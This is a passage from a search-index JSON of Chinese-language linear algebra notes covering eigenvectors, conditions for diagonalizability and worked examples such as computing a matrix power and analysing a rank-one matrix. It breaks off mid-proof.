<p>\u6211\u4eec\u601d\u8003\uff0c\u5982\u679c\u6240\u6709\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u5df2\u7ecf\u662f\u5168\u7a7a\u95f4\\(V\\),\u90a3\u4e48\u662f\u5426\u6240\u6709\u5411\u91cf\u90fd\u662f\u7279\u5f81\u5411\u91cf\u5462?\u4e0b\u9762\u7684\u4f8b\u5b50\u544a\u8bc9\u6211\u4eec\u4e0d\u662f\u8fd9\u6837\u7684,\u4e8b\u5b9e\u4e0a\uff0c\u53ea\u6709\u5f53\u7279\u5f81\u503c\u552f\u4e00\u7684\u65f6\u5019\uff0c\u8fd9\u4e2a\u7ed3\u8bba\u624d\u6b63\u786e:</p> <p>2013-2014\u671f\u672b</p> <p>\u8bbe \\(V(\\mathbf{F})\\) \u662f \\(n\\) \u7ef4\u7ebf\u6027\u7a7a\u95f4\uff0c\\(\\sigma \\in \\mathcal{L}(V)\\)\uff0c\u8bc1\u660e\uff1a</p> <ol> <li>\u82e5 \\(\\alpha, \\beta\\) \u662f \\(\\sigma\\) \u7684\u5c5e\u4e8e\u4e0d\u540c\u7279\u5f81\u503c\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5219 \\(c_1c_2 \\neq 0\\) \u65f6\uff0c\\(c_1 \\alpha + c_2 \\beta\\) \u4e0d\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\uff1b</li> <li>\\(V\\) \u4e2d\u7684\u6bcf\u4e00\u975e\u96f6\u5411\u91cf\u90fd\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf \\(\\iff \\sigma = c_0 I_V\\)\uff0c\u5176\u4e2d \\(c_0 \\in \\mathbf{F}\\) \u662f\u4e00\u4e2a\u5e38\u6570\uff0c\\(I_V\\) \u662f\u6052\u7b49\u53d8\u6362\u3002</li> </ol> Proof <ol> <li> <p>\u8bbe \\(\\sigma(\\alpha) = \\lambda_1 \\alpha, \\sigma(\\beta) = \\lambda_2 \\beta\\)\uff0c\u5176\u4e2d \\(\\lambda_1 \\neq \\lambda_2\\)\uff0c\u5e76\u5047\u8bbe \\(c_1 \\alpha + c_2 \\beta\\) \u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u5373\u5b58\u5728 \\(\\lambda_0 \\in \\mathbf{F}\\) \u4f7f\u5f97    $$ \\sigma(c_1 \\alpha + c_2 \\beta) = \\lambda_0 (c_1 \\alpha + c_2 \\beta). $$    \u5c55\u5f00\u62ec\u53f7\uff0c\u6211\u4eec\u6709    $$ c_1 \\sigma(\\alpha) + c_2 \\sigma(\\beta) = c_1 \\lambda_0 \\alpha + c_2 \\lambda_0 \\beta. $$    \u5373    $$ c_1 \\lambda_1 \\alpha + c_2 \\lambda_2 \\beta = c_1 \\lambda_0 \\alpha + c_2 \\lambda_0 \\beta, $$    \u5373    $$ (\\lambda_1 - \\lambda_0) c_1 \\alpha + (\\lambda_2 - \\lambda_0) c_2 \\beta = 0. $$    \u7531\u4e8e \\(\\alpha, \\beta\\) \u7ebf\u6027\u65e0\u5173\uff0c\u56e0\u6b64    $$ c_1 (\\lambda_1 - \\lambda_0) = c_2 (\\lambda_2 - \\lambda_0) = 0. $$    \u5f53 \\(c_1 c_2 \\neq 0\\) \u65f6\uff0c\u6211\u4eec\u6709 \\(\\lambda_1 = \\lambda_0 = \\lambda_2\\)\uff0c\u8fd9\u4e0e \\(\\lambda_1 \\neq \\lambda_2\\) \u77db\u76fe\uff0c\u56e0\u6b64 \\(c_1 \\alpha + c_2 \\beta\\) \u4e0d\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\u3002</p> </li> <li> <p>\u53f3\u63a8\u5de6\u663e\u7136\uff0c\u6211\u4eec\u53ea\u8003\u8651\u5de6\u63a8\u53f3\u7684\u8bc1\u660e\u3002\u7531\u4e0a\u4e00\u5c0f\u95ee\u7ed3\u8bba\u53ef\u77e5\uff0c\u82e5 \\(V\\) \u4e2d\u7684\u6bcf\u4e00\u975e\u96f6\u5411\u91cf\u90fd\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\\(\\sigma\\) \u4e0d\u53ef\u80fd\u6709\u4e0d\u540c\u7684\u7279\u5f81\u503c\uff08\u56e0\u4e3a\u6709\u4e0d\u540c\u7684\u7279\u5f81\u503c\u5c31\u6709\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5411\u91cf\uff0c\u4f46\u5b83\u4eec\u7684\u7ebf\u6027\u7ec4\u5408\u4e00\u5b9a\u4ecd\u5728 \\(V\\) \u4e2d\uff0c\u8fd9\u4e0e\u4ece\u7b2c\u4e00\u95ee\u4e2d\u5f97\u5230\u7684\u7ed3\u8bba\uff0c\u5373\u5b83\u4e0d\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\u77db\u76fe\uff09\u3002\u8bbe \\(c_0\\) \u662f \\(\\sigma\\) \u7684\u552f\u4e00\u7684\u7279\u5f81\u503c\uff0c\u5219\u5bf9\u4e8e\u4efb\u610f \\(\\alpha \\in V\\)\uff0c\u6211\u4eec\u6709 \\(\\sigma(\\alpha) = c_0 \\alpha\\)\uff0c\u5373 \\(\\sigma\\) \u5728\u4efb\u610f\u5143\u7d20\u4e0a\u7684\u50cf\u90fd\u5df2\u7ecf\u552f\u4e00\u786e\u5b9a\uff0c\u5219\u663e\u7136\u5728 \\(V\\) \u7684\u4e00\u7ec4\u57fa\u4e0a\u7684\u50cf\u4e5f\u552f\u4e00\u786e\u5b9a\uff0c\u7531\u7ebf\u6027\u6620\u5c04\u552f\u4e00\u786e\u5b9a\u7684\u5b9a\u7406\u53ef\u77e5\u8fd9\u6837\u7684\u7ebf\u6027\u6620\u5c04\u662f\u552f\u4e00\u7684\uff0c\\(\\sigma = c_0 I_V\\) \u7b26\u5408\u8981\u6c42\uff0c\u56e0\u6b64\u5b83\u5c31\u662f\u6211\u4eec\u8981\u627e\u7684\u7ebf\u6027\u6620\u5c04\u3002</p> </li> </ol> <p>Example</p> <p>\u8bbe \\(A\\) \u662f\u6570\u57df \\(\\mathbf{F}\\) \u4e0a\u4e00\u4e2a \\(n\\) \u9636\u65b9\u9635\uff0c\\(E\\) \u662f \\(n\\) \u9636\u5355\u4f4d\u77e9\u9635\uff0c\\(\\alpha_1 \\in \\mathbf{F}^n\\) \u662f \\(A\\) \u7684\u5c5e\u4e8e\u7279\u5f81\u503c \\(\\lambda\\) \u7684\u4e00\u4e2a\u7279\u5f81\u5411\u91cf\uff0c\u5411\u91cf\u7ec4 \\(\\alpha_1, \\alpha_2, \\ldots, \\alpha_s\\) \u6309\u5982\u4e0b\u65b9\u5f0f\u4ea7\u751f\uff1a  </p> \\[(A - \\lambda E) \\alpha_{i+1} = \\alpha_i, \\quad i = 1, 2, \\ldots, s-1.\\] <p>\u8bc1\u660e\u5411\u91cf\u7ec4 \\(\\{\\alpha_1, \\alpha_2, \\ldots, \\alpha_s\\}\\) \u7ebf\u6027\u65e0\u5173\u3002</p> Proof <p>\u7531\u4e8e \\(\\alpha_1\\) \u662f \\(A\\) \u5c5e\u4e8e\u7279\u5f81\u503c \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u6545\u6709 \\((A - \\lambda E) \\alpha_1 = 0\\)\u3002</p> <p>\u8bbe $$ \\sum_{i=1}^{s} k_i \\alpha_i = 0, $$ \u4e24\u8fb9\u540c\u65f6\u5de6\u4e58 \\((A - \\lambda E)\\) \u53ef\u5f97 $$ (A - \\lambda E) \\sum_{i=1}^{s} k_i \\alpha_i = \\sum_{i=1}^{s} k_i (A - \\lambda E) \\alpha_i = k_1 (A - \\lambda E) \\alpha_1 + \\sum_{i=1}^{s-1} k_{i+1} \\alpha_i = \\sum_{i=1}^{s-1} k_{i+1} \\alpha_i = 0. $$</p> <p>\u4ee5\u6b64\u7c7b\u63a8\uff0c\u5728\u7b49\u5f0f\u4e24\u8fb9\u4e0d\u65ad\u5de6\u4e58 \\((A - \\lambda E)\\) \u53ef\u5f97\uff1a\u5bf9\u4e8e \\(\\forall r \\in \\{1, \\cdots, s-1\\}\\) \u90fd\u6709 $$ \\sum_{i=1}^{s-r} k_{i+r} \\alpha_i = 0. $$</p> <p>\u4ee4 \\(r = s-1\\) \u5f97\u5230 \\(k_s \\alpha_1 = 0, \\quad k_s = 0\\)\u3002\u518d\u4f9d\u6b21\u4ee3\u56de\u4e0d\u96be\u5f97\u5230 \\(k_i = 0, \\quad \\forall i \\in \\{1, \\cdots, s\\}\\)\uff0c\u4ece\u800c\u5411\u91cf\u7ec4 \\(\\alpha_1, \\cdots, \\alpha_s\\) \u7ebf\u6027\u65e0\u5173\u3002</p>"},{"location":"NOTE/LA/eigenvalue/#_8","title":"\u53ef\u5bf9\u89d2\u5316\u7684\u6761\u4ef6","text":"<p>\u53ef\u5bf9\u89d2\u5316</p> <p>\u8bbe\\(\\sigma\\in\\mathcal{L}(V)\\)\uff0c\u5982\u679c\u5b58\u5728\\(V\\)\u7684\u4e00\u7ec4\u57fa\u4f7f\u5f97\\(\\sigma\\)\u5728\u8fd9\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\u662f\u5bf9\u89d2\u77e9\u9635\uff0c\u5219\u79f0\\(\\sigma\\)\u53ef\u5bf9\u89d2\u5316.</p> <p>\u8bbe\\(V\\)\u662f\u6570\u57df\\(\\mathbf{F}\\)\u4e0a\u7684\\(n\\)\u7ef4\u7ebf\u6027\u7a7a\u95f4\uff0c\\(\\sigma\\)\u662f\\(V\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362\uff0c\\(\\lambda_1,\\lambda_2,\\ldots,\\lambda_s\\in\\mathbf{F}\\)\u662f\\(\\sigma\\)\u7684\u6240\u6709\u4e92\u5f02\u7279\u5f81\u503c\uff0c\u5219\u4ee5\u4e0b\u6761\u4ef6\u7b49\u4ef7\uff1a</p> <ol> <li>\\(\\sigma\\) \u53ef\u5bf9\u89d2\u5316\uff1b</li> <li>\\(\\sigma\\) \u6709 \\(n\\) \u4e2a\u7ebf\u6027\u65e0\u5173\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5b83\u4eec\u6784\u6210 \\(V\\) \u7684\u4e00\u7ec4\u57fa\uff1b</li> <li>\\(V\\) \u6709\u5728 \\(\\sigma\\) \u4e0b\u4e0d\u53d8\u7684\u4e00\u7ef4\u5b50\u7a7a\u95f4 \\(U_1, \\ldots, U_n\\)\uff0c\u4f7f\u5f97 \\(V = U_1 \\oplus \\cdots \\oplus U_n\\)\uff1b</li> <li>\\(V = V_{\\lambda_1} \\oplus V_{\\lambda_2} \\oplus \\cdots \\oplus V_{\\lambda_s}\\)\uff1b</li> <li>\\(n = \\dim V_{\\lambda_1} + \\dim V_{\\lambda_2} + \\cdots + \\dim V_{\\lambda_s}\\)\uff1b</li> <li>\\(\\sigma\\) \u6bcf\u4e2a\u7279\u5f81\u503c\u7684\u4ee3\u6570\u91cd\u6570\u7b49\u4e8e\u51e0\u4f55\u91cd\u6570\u3002</li> </ol> <p>\u6709\u63a8\u8bba</p> <p>\u82e5 \\(n\\) \u9636\u77e9\u9635 \\(A\\) \u6709 \\(n\\) \u4e2a\u4e0d\u540c\u7684\u7279\u5f81\u503c\uff0c\u5219 \\(A\\) \u53ef\u5bf9\u89d2\u5316. \u53cd\u4e4b\uff0c\\(A\\) \u53ef\u5bf9\u89d2\u5316\u4e0d\u4e00\u5b9a\u6709 \\(n\\) \u4e2a\u7279\u5f81\u503c.</p> <p>Key-point</p> <p>\u603b\u7ed3\u800c\u8a00\uff0c\u53ea\u8981\u7279\u5f81\u5b50\u7a7a\u95f4\u53ef\u4ee5\u5f20\u6210\u6574\u4e2a\u7a7a\u95f4\uff0c\u90a3\u4e48\u8fd9\u4e2a\u7ebf\u6027\u53d8\u6362\u5c31\u662f\u53ef\u5bf9\u89d2\u5316\u7684\u3002</p>"},{"location":"NOTE/LA/eigenvalue/#_9","title":"\u5bf9\u89d2\u5316\u7684\u57fa\u672c\u6b65\u9aa4","text":"<ol> <li>\u5148\u4efb\u610f\u5199\u51fa \\(\\sigma\\) \u5728\u4e00\u7ec4\u57fa \\(\\mathbf{B}\\) \u4e0b\u7684\u77e9\u9635 \\(A\\)\uff0c\u5f53\u7136\u4e3a\u4e86\u8ba1\u7b97\u65b9\u4fbf\u4e00\u822c\u9009\u53d6\u81ea\u7136\u57fa\uff1b</li> <li>\u5229\u7528\u7279\u5f81\u591a\u9879\u5f0f \\(f(\\lambda) = |\\lambda E \u2212 A| = 0\\) \u6c42\u51fa \\(A\\) \u7684\u6240\u6709\u4e0d\u540c\u7279\u5f81\u503c\uff1b</li> <li>\u89e3\u7ebf\u6027\u65b9\u7a0b\u7ec4 \\(AX = \\lambda X\\)\uff08\u5b9e\u9645\u4e0a\u5c31\u662f\u65b9\u7a0b\u7ec4 \\((\\lambda E \u2212 A)X = 0\\)\uff0c\u5176\u4e2d \\(\\lambda\\) \u662f\u4e0a\u4e00\u6b65\u6c42 \u51fa\u7684\u7279\u5f81\u503c\uff09\u6c42\u51fa \\(A\\) \u5728\u4e0d\u540c\u7279\u5f81\u503c\u4e0b\u7684\u7ebf\u6027\u65e0\u5173\u7279\u5f81\u5411\u91cf\uff1b</li> <li>\u7b2c\u4e09\u6b65\u4e2d\u6c42\u5f97\u7684\u6240\u6709\u5411\u91cf\u5c31\u662f \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\u5728\u57fa \\(B\\) \u4e0b\u7684\u5750\u6807\uff0c\u6839\u636e\u524d\u9762\u7684\u8ba8\u8bba\uff0c\\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\u4e5f\u5c31\u662f\u4f7f\u5f97 \\(\\sigma\\) \u7684\u77e9\u9635\u8868\u793a\u4e3a\u5bf9\u89d2\u77e9\u9635\u7684\u90a3\u7ec4\u57fa.</li> <li>\u5f53\u7136\uff0c\u5982\u679c\u9898\u76ee\u4e2d\u76f4\u63a5\u7ed9\u51fa\u6c42 \\(P\\) \u4f7f\u5f97 \\(P^{\u22121}AP\\) \u4e3a\u5bf9\u89d2\u77e9\u9635\uff0c\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8fdb\u884c 2\u30013 \u4e24\u6b65\uff0c\u5e76\u5c06 3 \u4e2d\u5f97\u5230\u7684\u5411\u91cf\u6309\u5217\u6392\u5217\u6210\u77e9\u9635 P \u5373\u53ef 6.\u5982\u679c\u8981\u6c42\\(P\\)\u662f\u6b63\u4ea4\u77e9\u9635\uff0c\u90a3\u4e483\u4e2d\u6c42\u51fa\u6765\u7684\u6240\u6709\u5411\u91cf\u9700\u8981\u5728 \u5404\u81ea\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u4e2d\u6b63\u4ea4\u5316 \u3002</li> </ol> <p>Example</p> <p>\u6c42\u77e9\u9635</p> \\[A=\\begin{pmatrix}         0  &amp; -1 &amp; 1 \\\\         -1 &amp; 0  &amp; 1 \\\\         1  &amp; 1  &amp; 0     \\end{pmatrix} \\] <p>\u7684\u6240\u6709\u7279\u5f81\u503c\uff0c\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u4ee5\u53ca\u4e0e \\(A\\) \u76f8\u4f3c\u7684\u4e00\u4e2a\u5bf9\u89d2\u77e9\u9635.</p> Answer <p>\u5bf9\u4e8e\u6c42\u89e3\u77e9\u9635\u7684\u5bf9\u89d2\u5316\u95ee\u9898\uff0c\u9996\u5148\u6c42\u51fa\u5176\u7279\u5f81\u591a\u9879\u5f0f\uff08\u5177\u4f53\u6b65\u9aa4\u4e0d\u5c55\u5f00\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u4e09\u9636\u884c\u5217\u5f0f\u7684\u8ba1\u7b97\uff0c\u53ef\u4ee5\u4f7f\u7528\u6309\u884c\uff08\u5217\uff09\u5c55\u5f00\u3001\u516c\u5f0f\u6cd5\u6216\u8005\u521d\u7b49\u53d8\u6362\u5316\u4e3a\u4e09\u89d2\u77e9\u9635\u7b49\u65b9\u6cd5\uff09\\(f(\\lambda)=|\\lambda E-A|=(\\lambda-1)^2(\\lambda+2)\\)\uff0c\u4ee4\\(f(\\lambda)=0\\)\uff0c\u89e3\u5f97\u7279\u5f81\u503c\u4e3a \\(\\lambda_1=\\lambda_2=1,\\lambda_3=-2\\).</p> <p>\u63a5\u4e0b\u6765\u6c42\u89e3\u7279\u5f81\u5411\u91cf\u548c\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u5373\u6c42\u89e3\\((E-A)x=0\\)\u548c\u89e3\\((-2E-A)x=0\\)\uff0c\u5f97\u5230\u7279\u5f81\u503c1\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u4e3a\\(\\mathbf{spa}((-1,1,0)^{\\mathrm{T}},(1,0,1)^{\\mathrm{T}})\\)\uff0c\u7279\u5f81\u503c-2\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u4e3a\\(\\mathbf{spa}((-1,-1,1)^{\\mathrm{T}})\\).</p> <p>\u4e0e\\(A\\)\u76f8\u4f3c\u7684\u5bf9\u89d2\u77e9\u9635\u5b9e\u9645\u4e0a\u5c31\u662f\u7279\u5f81\u503c\u6392\u5217\u5728\u5bf9\u89d2\u7ebf\u4e0a\u7684\u7ed3\u679c\uff0c\u5373 \\(\\mathbf{diag}(1,1,-2)\\).</p> <p>Example</p> <p>\u8bbe \\(T\\) \u662f\u6b21\u6570\u5c0f\u4e8e\u7b49\u4e8e 2 \u7684\u5b9e\u591a\u9879\u5f0f\u7ebf\u6027\u7a7a\u95f4 \\(V\\) \u4e0a\u7684\u53d8\u6362\uff0c\u5bf9\u4efb\u610f \\(f(x) \\in V\\)\uff0c\u5b9a\u4e49</p> \\[T(f(x))=\\frac{\\mathrm{d}((x-2)f(x))}{\\mathrm{d}x}\\] <p>\u8bc1\u660e \\(T\\) \u662f \\(V\\) \u4e0a\u7684\u7ebf\u6027\u53d8\u6362\uff0c\u4e14\\(T\\)\u53ef\u5bf9\u89d2\u5316.</p> Answer <p>\u9996\u5148\u8bc1\u660e\u8fd9\u662f\u7ebf\u6027\u53d8\u6362. \u9996\u5148\u9a8c\u8bc1\u7ebf\u6027\u6027\uff0c\u5bf9\u4e8e\u4efb\u610f\\(f(x),g(x)\\in V\\)\uff0c\\(a,b\\in\\mathbf{R}\\)\uff0c\u6211\u4eec\u6709</p> \\[\\begin{align*}     T(af(x)+bg(x)) &amp; =\\frac{\\mathrm{d}((x-2)(af(x)+bg(x)))}{\\mathrm{d}x}                                    \\\\                      &amp; =\\frac{\\mathrm{d}(axf(x)-2af(x)+bxg(x)-2bg(x))}{\\mathrm{d}x}                           \\\\                      &amp; =a\\frac{\\mathrm{d}((x-2)f(x))}{\\mathrm{d}x}+b\\frac{\\mathrm{d}((x-2)g(x))}{\\mathrm{d}x} \\\\                      &amp; =aT(f(x))+bT(g(x)). \\end{align*}\\] <p>\u7136\u540e\u8bf4\u660e\u8fd9\u662f\\(V\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362\uff0c\u5373\u8be5\u6620\u5c04\u7684\u5230\u8fbe\u7a7a\u95f4\u662f\\(V\\)\uff0c\u5373\\(T(f(x))\\in V\\)\uff0c \u56e0\u4e3a\\(f(x)\\)\u662f\u6b21\u6570\u5c0f\u4e8e\u7b49\u4e8e2\u7684\u5b9e\u591a\u9879\u5f0f\uff0c\u8bbe\\(f(x)=ax^2+bx+c\\)\uff0c\u5219</p> \\[\\begin{align*}       T(f(x)) &amp; =\\frac{\\mathrm{d}((x-2)(ax^2+bx+c))}{\\mathrm{d}x}          \\\\               &amp; =\\frac{\\mathrm{d}(ax^3+(b-2a)x^2+(c-2b)x-2c)}{\\mathrm{d}x} \\\\               &amp; =3ax^2+2(b-2a)x+(c-2b)\\in V. \\end{align*}\\] <p>\u56e0\u6b64\\(T\\)\u662f\\(V\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362.</p> <p>\u4e0b\u9762\u6211\u4eec\u6765\u5224\u65ad\\(T\\)\u662f\u5426\u53ef\u5bf9\u89d2\u5316. \u7ebf\u6027\u53d8\u6362\u7684\u53ef\u5bf9\u89d2\u5316\u95ee\u9898\u7b2c\u4e00\u6b65\u8981\u8f6c\u5316\u4e3a\u4efb\u610f\u4e00\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\uff0c\u7136\u540e\u5224\u65ad\u77e9\u9635\u662f\u5426\u53ef\u5bf9\u89d2\u5316\uff0c\u56e0\u6b64\u6211\u4eec\u5148\u4efb\u610f\u9009\u53d6\u4e00\u7ec4\u57fa\uff0c\u4e3a\u65b9\u4fbf\u6211\u4eec\u9009\u53d6\u81ea\u7136\u57fa\\(\\{1,x,x^2\\}\\)\uff0c\u7136\u540e\u6c42\u51fa\\(T\\)\u5728\u8fd9\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\\(A=\\begin{pmatrix}        1 &amp; -2 &amp; 0 \\\\ 0 &amp; 2 &amp; -4 \\\\ 0 &amp; 0 &amp; 3 \\end{pmatrix}\\)\uff0c\u7136\u540e\u6c42\u51fa\u5176\u7279\u5f81\u591a\u9879\u5f0f\\(f(\\lambda)=|\\lambda E-A|=(\\lambda-1)(\\lambda-2)(\\lambda-3)\\)\uff0c\u4ee4\\(f(\\lambda)=0\\)\uff0c\u89e3\u5f97\u7279\u5f81\u503c\u4e3a \\(\\lambda_1=1,\\lambda_2=2,\\lambda_3=3\\). \u5373\u8be53\u9636\u77e9\u9635\u67093\u4e2a\u4e0d\u540c\u7684\u7279\u5f81\u503c\uff0c\u56e0\u6b64\u53ef\u77e5\\(A\\)\u53ef\u5bf9\u89d2\u5316\uff0c\u5373\\(T\\)\u53ef\u5bf9\u89d2\u5316.</p>"},{"location":"NOTE/LA/eigenvalue/#_10","title":"\u7ecf\u5178\u95ee\u9898","text":"<p>\u53ef\u5bf9\u89d2\u5316\u6c42\u77e9\u9635\u5e42</p> <p>\u5df2\u77e5\\(A=\\begin{pmatrix}         0 &amp; \\dfrac{1}{2}  &amp; \\dfrac{1}{2} \\\\[2ex]         1 &amp; -\\dfrac{1}{2} &amp; \\dfrac{1}{2} \\\\[2ex]         1 &amp; -\\dfrac{1}{2} &amp; \\dfrac{1}{2}     \\end{pmatrix}\\)\uff0c\u6c42\\(A^n\\).</p> Answer <p>\u9996\u5148\u6c42\u51fa\\(A\\)\u7684\u7279\u5f81\u591a\u9879\u5f0f\\(f(\\lambda)=|\\lambda E-A|=\\lambda(\\lambda-1)(\\lambda+1)\\)\uff0c\u4ee4\\(f(\\lambda)=0\\)\uff0c\u89e3\u5f97\u7279\u5f81\u503c\u4e3a \\(\\lambda_1=0,\\lambda_2=1,\\lambda_3=-1\\).</p> <p>\u63a5\u4e0b\u6765\u6c42\u89e3\u7279\u5f81\u5411\u91cf\u548c\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u6c42\u89e3\\((0E-A)x=0,(-E-A)x=0,(E-A)x=0\\)\uff0c\u5f97\u5230\u7279\u5f81\u5411\u91cf\u4e3a</p> \\[\\eta_1=\\begin{pmatrix}        1 \\\\ 1 \\\\ -1    \\end{pmatrix},\\enspace \\eta_2=\\begin{pmatrix}        1 \\\\ 1 \\\\ 1    \\end{pmatrix},\\enspace \\eta_3=\\begin{pmatrix}        1 \\\\ -1 \\\\ -1    \\end{pmatrix}.\\] <p>\u6240\u4ee5\u8bb0\\(P=(\\eta_1,\\eta_2,\\eta_3)\\)\uff0c\u5219\\(A=P\\mathbf{diag}(0,1,-1)P^{-1}\\)\uff0c\u56e0\u6b64</p> \\[     A^n=P\\mathbf{diag}(0^n,1^n,(-1)^n)P^{-1} \\] <p>\u8fdb\u4e00\u6b65\u8ba1\u7b97\u5f97\u5230</p> \\[A^n=\\frac{1}{2}\\begin{pmatrix}        1+(-1)^n     &amp; (-1)^{n+1} &amp; 1 \\\\        1+(-1)^{n+1} &amp; (-1)^n     &amp; 1 \\\\        1+(-1)^{n+1} &amp; (-1)^n     &amp; 1    \\end{pmatrix}.\\] <p>\u79e91\u77e9\u9635\u53ef\u5bf9\u89d2\u5316\u6761\u4ef6</p> <p>\u8bbe\\(\\alpha\\)\u548c\\(\\beta\\)\u662f\\(\\mathbf{R}^n\\enspace (n&gt;1)\\)\u4e2d\u4e24\u4e2a\u5217\u5411\u91cf\uff0c\\(A=\\alpha\\beta^\\mathrm{T}\\neq O\\).</p> <ul> <li> <p>\u6c42\\(A\\)\u7684\u7279\u5f81\u503c\uff1b</p> </li> <li> <p>\u8bc1\u660e\uff1a\\(\\alpha^\\mathrm{T}\\beta=0\\iff A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316.</p> </li> </ul> Answer <ul> <li>\u6211\u4eec\u77e5\u9053\uff0c\\(r(A)\\leqslant\\min{\\{r(\\alpha),r(\\beta)\\}}=1\\)\uff0c\u5e76\u4e14\\(A\\neq O\\)\u56e0\u6b64\\(r(A)&gt;0\\)\uff0c\u6545\\(A\\)\u7684\u79e9\u4e3a1. \u800c\\(n&gt;1\\)\uff0c\u56e0\u6b64\\(A\\)\u4e00\u5b9a\u4e0d\u53ef\u9006\uff0c\u65450\u4e00\u5b9a\u662f\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\u4e14\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7ef4\u6570\u4e3a\\(AX=0\\)\u7684\u89e3\u7a7a\u95f4\u7ef4\u6570\uff0c\u5373\u4e3a\\(n-1\\).</li> </ul> <p>\u7531\u6b64\u6211\u4eec\u77e5\u9053\\(A\\)\u6700\u591a\u6709\u4e24\u4e2a\u7279\u5f81\u503c\uff0c\u56e0\u4e3a0\u7684\u4ee3\u6570\u91cd\u6570\uff08\u5373\u4f5c\u4e3a\\(n\\)\u6b21\u7279\u5f81\u591a\u9879\u5f0f\u7684\u96f6\u70b9\u6b21\u6570\uff09\u5fc5\u7136\u5927\u4e8e\u7b49\u4e8e\u5176\u51e0\u4f55\u91cd\u6570\\(n-1\\)\uff0c\u5f53\u671f\u4ee3\u6570\u91cd\u6570\u4e3a\\(n-1\\)\u65f6\u53ef\u80fd\u8fd8\u6709\u4e00\u4e2a\u4e00\u91cd\u7279\u5f81\u503c. \u6211\u4eec\u5229\u7528\u7279\u5f81\u503c\u4e4b\u548c\u7b49\u4e8e\\(A\\)\u7684\u8ff9\u6765\u627e\u51fa\u53ef\u80fd\u7684\u7b2c\u4e8c\u4e2a\u7279\u5f81\u503c. \u6211\u4eec\u8bbe\\(\\alpha=(a_1,a_2,\\ldots,a_n)^\\mathrm{T},\\beta=(b_1,b_2,\\ldots,b_n)^\\mathrm{T}\\)\uff0c\u5219\\(A=\\alpha\\beta^\\mathrm{T}=\\begin{pmatrix}         a_1b_1 &amp; a_1b_2 &amp; \\cdots &amp; a_1b_n \\\\         a_2b_1 &amp; a_2b_2 &amp; \\cdots &amp; a_2b_n \\\\         \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\         a_nb_1 &amp; a_nb_2 &amp; \\cdots &amp; a_nb_n     \\end{pmatrix}\\)\uff0c \u56e0\u6b64\\(A\\)\u7684\u8ff9\u4e3a\\(\\sum\\limits_{i=1}^na_ib_i=\\alpha^\\mathrm{T}\\beta=\\sum\\limits_{i=1}^n\\lambda_i\\)\uff0c\u5176\u4e2d\\(\\lambda_i\\)\u4e3a\\(A\\)\u7684\u7279\u5f81\u503c. \u82e5\\(\\alpha^\\mathrm{T}\\beta\\neq 0\\)\uff0c\u5219\\(\\lambda_i=0,\\enspace i=1,\\ldots,n-1\\)\uff0c\\(\\lambda_n=\\alpha^\\mathrm{T}\\beta\\). \u82e5\\(\\alpha^\\mathrm{T}\\beta=0\\)\uff0c\u5219\\(A\\)\u7684\u6240\u6709\u7279\u5f81\u503c\u5747\u4e3a0.</p> <ul> <li>\u7531\u4e0a\u4e00\u5c0f\u95ee\u53ef\u77e5\uff0c\u82e5\\(\\alpha^\\mathrm{T}\\beta=0\\)\u5373\\(A\\)\u7684\u5168\u90e8\u7279\u5f81\u503c\u4e3a0\uff0c\u56e0\u6b64\u53ea\u6709\u4e00\u4e2a\\(n-1\\)\u7ef4\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u6545\u7279\u5f81\u5b50\u7a7a\u95f4\u76f4\u548c\u4e0d\u7b49\u4e8e\\(V\\)\uff0c\u6545\u4e0d\u53ef\u5bf9\u89d2\u5316.</li> </ul> <p>\u53cd\u4e4b\uff0c\u82e5\\(A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316\uff0c\u6211\u4eec\u7528\u53cd\u8bc1\u6cd5. \u5047\u8bbe\\(\\alpha^\\mathrm{T}\\beta\\neq 